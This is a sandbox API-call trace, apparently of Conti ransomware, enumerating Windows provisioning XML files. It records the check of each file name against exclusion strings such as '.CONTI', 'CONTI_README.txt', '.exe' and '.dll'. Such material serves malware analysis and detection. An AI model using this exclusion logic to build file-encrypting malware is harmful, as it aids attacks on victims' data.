	[0108.631] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\234__Connections_Cellular_Bite Latvija (Latvia)_i0$(__MVID)@WAP.provxml"
	[0108.631] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="235__C~1.PRO")) returned 1
	[0108.631] lstrcmpiW (lpString1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.631] lstrcmpiW (lpString1="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.631] StrStrIW (lpFirst="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.631] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.631] lstrlenW (lpString="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml") returned 62
	[0108.632] GetProcessHeap () returned 0x1720000
	[0108.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x132) returned 0x17d6e70
	[0108.632] lstrcpyW (in: lpString1=0x17d6e70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\235__Connections_Cellular_LMT (Latvia)_i0$(__MVID)@WAP.provxml"
	[0108.632] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="236__C~1.PRO")) returned 1
	[0108.632] lstrcmpiW (lpString1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.632] lstrcmpiW (lpString1="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.632] StrStrIW (lpFirst="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.632] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.632] lstrlenW (lpString="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.632] GetProcessHeap () returned 0x1720000
	[0108.632] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x17d7390
	[0108.632] lstrcpyW (in: lpString1=0x17d7390, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.632] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml"
	[0108.632] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908b0722, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908b0722, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908b0722, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="237__C~1.PRO")) returned 1
	[0108.632] lstrcmpiW (lpString1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.632] lstrcmpiW (lpString1="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.632] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.633] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.633] StrStrIW (lpFirst="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.633] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.633] lstrlenW (lpString="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.633] GetProcessHeap () returned 0x1720000
	[0108.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x17d66c0
	[0108.633] lstrcpyW (in: lpString1=0x17d66c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\237__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml"
	[0108.633] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="238__C~1.PRO")) returned 1
	[0108.633] lstrcmpiW (lpString1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.633] lstrcmpiW (lpString1="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.633] StrStrIW (lpFirst="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.633] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.633] lstrlenW (lpString="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.633] GetProcessHeap () returned 0x1720000
	[0108.633] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x17d74d8
	[0108.633] lstrcpyW (in: lpString1=0x17d74d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\238__Connections_Cellular_Alfa (Lebanon)_i0$(__MVID)@WAP.provxml"
	[0108.633] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908d698d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908d698d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908d698d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x30e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="239__C~1.PRO")) returned 1
	[0108.633] lstrcmpiW (lpString1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.633] lstrcmpiW (lpString1="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.633] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.633] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.634] StrStrIW (lpFirst="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.634] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.634] lstrlenW (lpString="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.634] GetProcessHeap () returned 0x1720000
	[0108.634] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x17d6be0
	[0108.634] lstrcpyW (in: lpString1=0x17d6be0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.634] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml"
	[0108.634] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="23__CO~1.PRO")) returned 1
	[0108.974] lstrcmpiW (lpString1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.974] lstrcmpiW (lpString1="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.974] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.974] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.974] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.974] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.974] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.975] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.975] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.975] StrStrIW (lpFirst="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.975] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.975] lstrlenW (lpString="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml") returned 72
	[0108.975] GetProcessHeap () returned 0x1720000
	[0108.975] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17fa340
	[0108.975] lstrcpyW (in: lpString1=0x17fa340, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.975] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.975] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\23__Connections_Cellular_Vodafone AU (Australia)_i0$(__MVID)@WAP.provxml"
	[0108.975] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908fcbf9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x908fcbf9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x908fcbf9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", cAlternateFileName="240__C~1.PRO")) returned 1
	[0108.975] lstrcmpiW (lpString1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.975] lstrcmpiW (lpString1="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.975] StrStrIW (lpFirst="240__Connections_Cellular_Vodacom Lesotho (Lesotho)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
